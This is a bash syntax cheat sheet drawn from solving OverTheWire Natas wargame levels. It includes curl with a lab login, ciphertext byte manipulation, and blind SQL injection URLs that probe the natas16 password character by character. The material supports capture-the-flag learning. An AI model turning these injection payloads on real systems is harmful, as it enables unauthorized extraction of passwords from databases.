Bash Basics

#!/bin/bash

Create a variable and echo it

x1='Name'
x2=3
echo "${x1}${x2}"
# Name3

Shorten string

echo "${original::-2}"

If sentences

# string starts with G+
if [[ "$base64_parameters" == "G+"* ]]; then
if

# string includes 29
if [[ "$content" == *"29"* ]]; then 
fi

if [[ "$match" == *"You are an admin."* ]]; then 
fi

if [[ "$match" == *"<pre> </pre>"* ]]; then 
fi

# count the number of bytes
passlength=$(cat output.txt | wc -c)
if [ $n -gt $passlength ]
    then echo $(cat output.txt)
    break;
fi

For loop

for n in {0..255}; do
done

for i in {a..z} {A..Z} {0..9}
do
done

for length in a b c d e f; do
done

# fast list of characters
for p1 in e t a o n i s r h l d c u p f m w y b g v k q x j z E T A O N I S R H L D C U P F M W Y B G V K Q X J Z
do

Bash commands

base64_parameters=$(echo "${parameters}" | xxd -r -p | base64 -w 0)

# curl request
content=$(curl --user natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF -H "${authorization}" "${address}${parameters}")

# convert into hex and remove the last byte
original=$(echo 'G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIQgA1C82eT1228lUHOW3X2KSh/PMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY=' | base64 -d | hexdump -ve '1/1 "%.2x"' | tr '\n' ' ')

# change n from decimal to hex
hex=$(printf '%02x' ${n})
echo ${hex}
x16=$(printf '%02x' 20)
echo ${hex}

    # convert into base64
    hexcipher=$(echo "${complete}" | base64 -w 0)
    echo "${hexcipher}"

# send results to a file
$(echo "$content" >> results.txt)

match=$(echo "$content" | tr '\n' ' ' | grep -v "You are logged in as a regular user.")
match=$(echo "$content" | tr '\n' ' ' | grep -v "<pre> July July's </pre>")

# Delete the newline next to character and write it to output file
$(echo "$i" | tr -d '\n' >> output.txt);

# Produce a number of underscores
underscore=$(perl -E "print '_' x $n")


Python in bash shell

#Execute python insie shell or bash script
python -c "import sys; print(sys.version); print('It works in py 2.7!');"
python -c "print('=' * 50);"
python3 -c "import sys; print(sys.version); print('It works in py 3!');"

# Import a py file - version 1
python3 test.py

# Import a py file - version 2
python3 << END
import test
END

python3 << END
print('The simplest way to execute python in bash script');
END

# variable
ABC=`python3 << END
print(1+1)
END`
echo $ABC


input="hello"
output=`python <<END
print("$input"+" world")
END`

echo $output

SQL

# Added BINARY in SQL Query to make sure the query is case sensitive
# Could also use COLLATE latin1_general_cs

# Version 1
# SELECT * from users where username="natas16" AND password LIKE BINARY "__d%"
address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20password%20LIKE%20BINARY%20%22'"$underscore""${i}""%"'&debug'

# Version 2
# SELECT * from users where username="natas16" AND LEFT(password,1) = "a"
# SELECT * from users where username="natas16" AND LEFT(password,1) = "Wa"
position=$((10#$n + 1))
# address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20LEFT(password%2C'"${position}"')%20COLLATE%20latin1_general_cs%20=%20%22'"${password}${i}"'&debug'